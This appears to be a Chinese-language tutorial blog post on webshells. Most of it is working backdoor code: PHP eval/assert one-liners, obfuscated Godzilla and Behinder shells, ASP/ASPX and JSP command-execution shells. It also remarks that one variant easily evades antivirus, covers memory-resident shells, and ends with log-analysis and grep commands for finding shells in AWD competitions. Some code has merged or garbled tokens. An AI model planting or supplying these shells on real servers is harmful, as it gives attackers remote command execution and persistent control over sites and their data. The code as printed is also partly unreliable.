一、Webshell简介

1.1、什么是webshell

网站的后门,可以通过webshell控制网站

1.2、webshell连接测试

<?php @eval($_POST['1']);?>

连接后执行系统命令

image-20240317203911521

也可以使用webshel连接工具。

二、PHP Webshell

2.1、常见的php webshell

  • eval型
<?php @eval($_POST['1']);?>
  • 其他代码执行函数型
<?php @assert($_POST['a']);?>
<?php @assert($_POST['a']);?>
<?php $st=@create_function('',$_POST['a']);$st();?>
<?php @preg_replace('/.*/e',$_POST['a'],'');?>
<?php @preg_filter('/.*/e',$_POST['a'],'');?>
<?php @mb_ereg_replace('.*',$_POST['a'],'','ee');?>
<?php @mbereg_replace('.*',$_POST['a'],'','ee');?>
<?php $_GET['a']($_GET['b']);?>
  • 哥斯拉
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
  • 冰蝎型
<?php
@error_reporting(0);
session_start();
if(isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] =$post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function__invoke($p) {eval($p."");}}
@call_user_func(newC(),$params);
}
?>

三、ASP/ASPX webshell

ASP 和 ASPX 是 Microsoft 公司开发的用于建立动态网页的技术。ASP 是 Active Server Pages 的缩写,而 ASPX 是 ASP.NET 的文件扩展名。
区别在于:
1.架构:ASP 基于服务器端脚本语言VBScript或JScript来执行代码,而 ASPX 则是基于.NET框架下的C#或VB.NET等编程语言。
2.执行方式:ASP 页面会经过解析器逐行执行,而 ASPX 页面则是先编译为中间语言IL,然后再在运行时环境中执行。

  • 常见的asp webshell
<%eval request("abc") %>
<%execute request("abc") %>
<%executeglobal request("abc") %>
  • 常见的aspx webshell
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

四、Java Webshell

常见的java Webshell

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).
getInputStream();inta = -1; byte[] b =newbyte[2048]; out.print("<pre>");
  • jsp/jspx webshell
<%@ pageimport="java.util.*,java.io.*"%> 
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform"ACTION="">
<INPUT TYPE="text"NAME="cmd">
<INPUT TYPE="submit"VALUE="Send">
</FORM>
<pre>
<%
if(request.getParameter("cmd") !=null) {
out.println("Command: "+ request.getParameter("cmd") +"<BR>");
Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStreamin = p.getInputStream();
DataInputStream dis = newDataInputStream(in);
String disr = dis.readLine();
while( disr !=null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
  • javajs webshell

这个技术比较新,而且容易过免杀

<% 
out.println(newjavax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));
%>

五、内存马

想要搞懂需要具备java知识

  • 什么是内存马
  • 内存马和普通webshell的区别
    • Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

通俗来说就是,内存马,并不存在文件中,即使把内存马文件删除,内存马仍在在运行,因为内存马是存在于系统运行内存中

特征代码

Runtime.getRuntime().exec()

六、webshell查杀

6.1、自动审计

image-20240317212710984

6.2、手动排查(AWD可用)

自动排查日志在很多场景中都不靠谱,需要自己手动排查

image-20240317213317128

提取访问文件名、IP地址和次数
cat access.log | awk '{print $1 $7}'| sort|uniq -c |sort -nr

image-20240317213455590

可以根据这个结果看出那个文件有问题

提取访问次数最多的文件并查看内容
cat access.log | awk '{print $7}'| sort | uniq -c | sort -nr | head -n 1 | awk '{print $2}' | sed 's/^/\/var\/www\/html/' |xargs cat

image-20240317213742911

打包并与原网站进行对比
tar -czvf www_now.tar ./* 
diff <(tar -tf www.tar) <(tar -tf www_now.tar)

image-20240317213908603

签名的是最初的文件,后面是打包后文件,在打AWD时,可以利用这个方法进行对比,查看后门文件

提取修改过的文件,并查看时间
ls -lt --time-style="+%Y-%m-%d %H:%M:%S"/var/www/html/ | head -10| awk '{print $6, $7, $8}'

image-20240317214231314

匹配敏感字符并进行输出
find /var/www/html/ -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'

image-20240317214422971

6.3、内存马查杀

15

image-20240318100614126